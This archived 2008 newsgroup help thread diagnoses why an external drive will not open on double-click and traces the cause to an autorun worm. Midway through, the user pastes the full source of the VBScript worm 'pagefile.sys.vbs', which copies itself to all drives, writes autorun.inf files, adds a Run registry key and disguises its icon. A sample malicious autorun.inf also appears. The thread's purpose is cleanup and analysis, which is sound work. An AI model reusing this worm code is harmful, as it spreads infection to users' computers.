Unable to double click on external Drive

August 19, 2008

Hi, I am suddenly unable to open an external drive by double clicking its

drive letter. I have to right click and click on open.

Any suggestions why that is?

Thanks

August 19, 2008

Re: Unable to double click on external Drive

*Bonjour AJS * !

<news:eCctshZAJHA.4372@TK2MSFTNGP05.phx.gbl>

> Hi, I am suddenly unable to open an external drive by double clicking its

> drive letter. I have to right click and click on open.

> Any suggestions why that is?

> Thanks

Do you see any Autorun.inf file on this Volume ?

Can be Hide ans System, see Folders Options.

Or in a Console (Start>Run>cmd) :

attrib -h -s -r F:\autorun.inf

(assuming your external drive is F)

Rename Autorun.inf to Autorun.txt and copy the text here.

Thanks.

Example of a bad Autorun.inf ==>

[AutoRun]

open=xn1i9x.com

shell\open\Command=xn1i9x.com

shell\explore\Command=xn1i9x.com

More informations :

http://www.google.com/search?q=xn1i9x.com

Protections :

Tell the system to not read Autorun.inf

http://www.google.com/search?q=IniFileMapping+Autorun.inf

Avoid using a PC with administrator privileges.

So autorun.inf is ignored.

Check every drive for virus and so.

To protect a volume, you can create a FOLDER named autorun.inf

Make it Hide, System ans ReadOnly :

F:

attrib +h +s +r autorun.inf

Then it will be difficult to write a new FILE with that name.

--

Regards, Jean-François

August 19, 2008

Re: Unable to double click on external Drive

Thanks, but there is no autorun.inf file

"JF" <JF@-> wrote in message news:uUVc8XaAJHA.1288@TK2MSFTNGP05.phx.gbl...

| *Bonjour AJS * !

| <news:eCctshZAJHA.4372@TK2MSFTNGP05.phx.gbl>

|

| > Hi, I am suddenly unable to open an external drive by double clicking

its

| > drive letter. I have to right click and click on open.

| > Any suggestions why that is?

| > Thanks

|

| Do you see any Autorun.inf file on this Volume ?

| Can be Hide ans System, see Folders Options.

|

| Or in a Console (Start>Run>cmd) :

|

| attrib -h -s -r F:\autorun.inf

|

| (assuming your external drive is F)

|

| Rename Autorun.inf to Autorun.txt and copy the text here.

| Thanks.

|

| Example of a bad Autorun.inf ==>

|

| [AutoRun]

| open=xn1i9x.com

| shell\open\Command=xn1i9x.com

| shell\explore\Command=xn1i9x.com

|

| More informations :

| http://www.google.com/search?q=xn1i9x.com

|

| Protections :

|

| Tell the system to not read Autorun.inf

| http://www.google.com/search?q=IniFileMapping+Autorun.inf

|

| Avoid using a PC with administrator privileges.

| So autorun.inf is ignored.

|

| Check every drive for virus and so.

|

| To protect a volume, you can create a FOLDER named autorun.inf

| Make it Hide, System ans ReadOnly :

| F:

| attrib +h +s +r autorun.inf

|

| Then it will be difficult to write a new FILE with that name.

|

| --

| Regards, Jean-François

|

August 19, 2008

Re: Unable to double click on external Drive

*Bonjour AJS * !

<news:#c7NluaAJHA.1940@TK2MSFTNGP05.phx.gbl>

> Thanks, but there is no autorun.inf file

Start>Run>regsvr32 /i shell32

Check these (by default) Values which must be equal to "none"

HKCR\Directory\shell (by default)=none

HKCR\Drive\shell (by default)=none

--

Regards, Jean-François

August 19, 2008

Re: Unable to double click on external Drive

Thanks,

Found it.

This is what is says in notepad:

[autorun]

shellexecute=wscript.exe pagefile.sys.vbs

"JF" <JF@-> wrote in message news:exxo4BbAJHA.3756@TK2MSFTNGP02.phx.gbl...

| *Bonjour AJS * !

| <news:#c7NluaAJHA.1940@TK2MSFTNGP05.phx.gbl>

|

| > Thanks, but there is no autorun.inf file

|

| Start>Run>regsvr32 /i shell32

|

| Check these (by default) Values which must be equal to "none"

| HKCR\Directory\shell (by default)=none

| HKCR\Drive\shell (by default)=none

|

| --

| Regards, Jean-François

|

August 19, 2008

Re: Unable to double click on external Drive

*Bonjour AJS * !

<news:eE#XJ3cAJHA.2276@TK2MSFTNGP04.phx.gbl>

> Thanks,

> Found it.

> This is what is says in notepad:

> [autorun]

> shellexecute=wscript.exe pagefile.sys.vbs

Very well, thank you for the feed-back.

Wscript.exe is a command to execute scripts.VBS

c:\PageFile.sys is your paging file.

But pagefile.sys.vbs is a script which attend to be seen as a legal

system file (ask for every extension in Folders Options).

Did you find this pagefile.sys.vbs somewhere on your drives ?

It should be on F:\ or C:\ or

c:\windows or

c:\windows\system32

A script is some text.

You can rename it as pagefile.sys.vbs.txt

And copy here the text. Thanks !

--

Regards, Jean-François

August 19, 2008

Re: Unable to double click on external Drive

Thanks again for your prompt reply.

Here is the text of "pagefile.sys.vbs"

'kuciapka tu byl

on error resume next

dim ksource,winpath,kflash,kfs,kmf,katrib,kuc,rgpath,nt,check,sado

katrib="[autorun]"&vbcrlf&"shellexecute=wscript.exe pagefile.sys.vbs"

set kfs=createobject("Scripting.FileSystemObject")

set kmf=kfs.getfile(Wscript.ScriptFullname)

dim text,size

size=kmf.size

check=kmf.drive.drivetype

set text=kmf.openastextstream(1,-2)

do while not text.atendofstream

ksource=ksource&text.readline

ksource=ksource&vbcrlf

loop

do

Set winpath=kfs.getspecialfolder(0)

set kuc=kfs.getfile(winpath&"\pagefile.sys.vbs")

kuc.attributes=32

set kuc=kfs.createtextfile(winpath&"\pagefile.sys.vbs",2,true)

kuc.write ksource

kuc.close

set kuc=kfs.getfile(winpath&"\pagefile.sys.vbs")

kuc.attributes=39

for each kflash in kfs.drives

If (kflash.drivetype=1 or kflash.drivetype=2) and kflash.path <> "A:" then

set kuc=kfs.getfile(kflash.path&"\pagefile.sys.vbs")

kuc.attributes=32

set kuc=kfs.createtextfile(kflash.path &"\pagefile.sys.vbs",2,true)

kuc.write ksource

kuc.close

set kuc=kfs.getfile(kflash.path&"\pagefile.sys.vbs")

kuc.attributes=39

set kuc=kfs.getfile(kflash.path&"\autorun.inf")

kuc.attributes=32

set kuc=kfs.createtextfile(kflash.path &"\autorun.inf",2,true)

kuc.write katrib

kuc.close

set kuc=kfs.getfile(kflash.path &"\autorun.inf")

kuc.attributes=39

end if

rgpath.regwrite

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSRegInfo",winpath&"\pagefile.sys.vbs"

rgpath.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"

if check <> 1 then

Wscript.sleep 200000

end if

loop while check<>1

set sado=createobject("Wscript.shell")

sado.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname

"JF" <JF@-> wrote in message news:%238bVNieAJHA.4040@TK2MSFTNGP06.phx.gbl...

| *Bonjour AJS * !

| <news:eE#XJ3cAJHA.2276@TK2MSFTNGP04.phx.gbl>

|

| > Thanks,

| > Found it.

| > This is what is says in notepad:

| > [autorun]

| > shellexecute=wscript.exe pagefile.sys.vbs

|

| Very well, thank you for the feed-back.

| Wscript.exe is a command to execute scripts.VBS

| c:\PageFile.sys is your paging file.

| But pagefile.sys.vbs is a script which attend to be seen as a legal

| system file (ask for every extension in Folders Options).

|

| Did you find this pagefile.sys.vbs somewhere on your drives ?

| It should be on F:\ or C:\ or

| c:\windows or

| c:\windows\system32

|

| A script is some text.

| You can rename it as pagefile.sys.vbs.txt

| And copy here the text. Thanks !

|

| --

| Regards, Jean-François

|

August 19, 2008

Re: Unable to double click on external Drive

Sorry, forgot to mention that I found these two files:

1. C:\pagefile.sys.vbs

2. C:\pagefile.sys

"JF" <JF@-> wrote in message news:%238bVNieAJHA.4040@TK2MSFTNGP06.phx.gbl...

| *Bonjour AJS * !

| <news:eE#XJ3cAJHA.2276@TK2MSFTNGP04.phx.gbl>

|

| > Thanks,

| > Found it.

| > This is what is says in notepad:

| > [autorun]

| > shellexecute=wscript.exe pagefile.sys.vbs

|

| Very well, thank you for the feed-back.

| Wscript.exe is a command to execute scripts.VBS

| c:\PageFile.sys is your paging file.

| But pagefile.sys.vbs is a script which attend to be seen as a legal

| system file (ask for every extension in Folders Options).

|

| Did you find this pagefile.sys.vbs somewhere on your drives ?

| It should be on F:\ or C:\ or

| c:\windows or

| c:\windows\system32

|

| A script is some text.

| You can rename it as pagefile.sys.vbs.txt

| And copy here the text. Thanks !

|

| --

| Regards, Jean-François

|

August 20, 2008

Re: Unable to double click on external Drive

*Bonjour AJS * !

<news:OyvR5$iAJHA.1224@TK2MSFTNGP02.phx.gbl>

> Sorry, forgot to mention that I found these two files:

> 1. C:\pagefile.sys.vbs

> 2. C:\pagefile.sys

Thank you, this is very interesting.

1 = malware

http://www.google.com/search?q=pagefile.sys.vbs

2 = legal system file

For your information my anti-virus screamed

and your message appear now (for me) with this title :

Sujet : [avast! - INFECTED] Re: Unable to double click on external

Drive

I cannot find for now what is the instruction which alert Avast.

Somebody knows ?

Question :

Do you have any anti-virus ?

http://www.google.com/search?q=Avast!+VS+Antivir

--

Regards, Jean-François

August 20, 2008

Re: Unable to double click on external Drive

> For your information my anti-virus screamed

> and your message appear now (for me) with this title :

> Sujet : [avast! - INFECTED] Re: Unable to double click on external Drive

> I cannot find for now what is the instruction which alert Avast.

This part of code is the cause of the alert :

rgpath.regwrite

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSRegInfo",winpath&"\pagefile.sys.vbsANTIVIRUSALERT"

rgpath.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"

I added ANTIVIRUSALERT to be quiet with Avast.

winpath represent Windows folder.

The key Run\MSRegInfo does not exist normaly, and is created by the

script. So it is a good idea to google it

http://www.google.com/search?q=Run%5CMSRegInfo

This is the 2 commands together which wake up Avast

.... Run\MSRegInfo",winpath&"\pagefile.sys. vbs"

.... rgpath.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"

This second command give a false icon to the VBS files so they are seen

as innocent text files.

--

Regards, Jean-François

August 21, 2008

Re: Unable to double click on external Drive

AJS wrote:

>

> Hi, I am suddenly unable to open an external drive by double clicking its

> drive letter. I have to right click and click on open.

Could be as simple as a bad mouse.

--

http://www.bootdisk.com/

August 22, 2008

Re: Unable to double click on external Drive

Thanks,

I now am able to double click.

Good work!

"JF" <JF@-> wrote in message news:exxo4BbAJHA.3756@TK2MSFTNGP02.phx.gbl...

| *Bonjour AJS * !

| <news:#c7NluaAJHA.1940@TK2MSFTNGP05.phx.gbl>

|

| > Thanks, but there is no autorun.inf file

|

| Start>Run>regsvr32 /i shell32

|

| Check these (by default) Values which must be equal to "none"

| HKCR\Directory\shell (by default)=none

| HKCR\Drive\shell (by default)=none

|

| --

| Regards, Jean-François

|

August 23, 2008

[PLAIN][FIXED] Unable to double click on external Drive[/PLAIN]

[FIXED] Unable to double click on external Drive

*Bonjour AJS * !

<news:ug#oIdIBJHA.3396@TK2MSFTNGP03.phx.gbl>

>>>> Do you see any Autorun.inf file on this Volume ?

>>>> Can be Hide ans System, see Folders Options.

>>> Thanks, but there is no autorun.inf file

>> Start>Run>regsvr32 /i shell32

>> Check these (by default) Values which must be equal to "none"

>> HKCR\Directory\shell (by default)=none

>> HKCR\Drive\shell (by default)=none

> Thanks,

> I now am able to double click.

> Good work!

Thank you again for the feed-back.

Bonne continuation !

--

Regards, Jean-François

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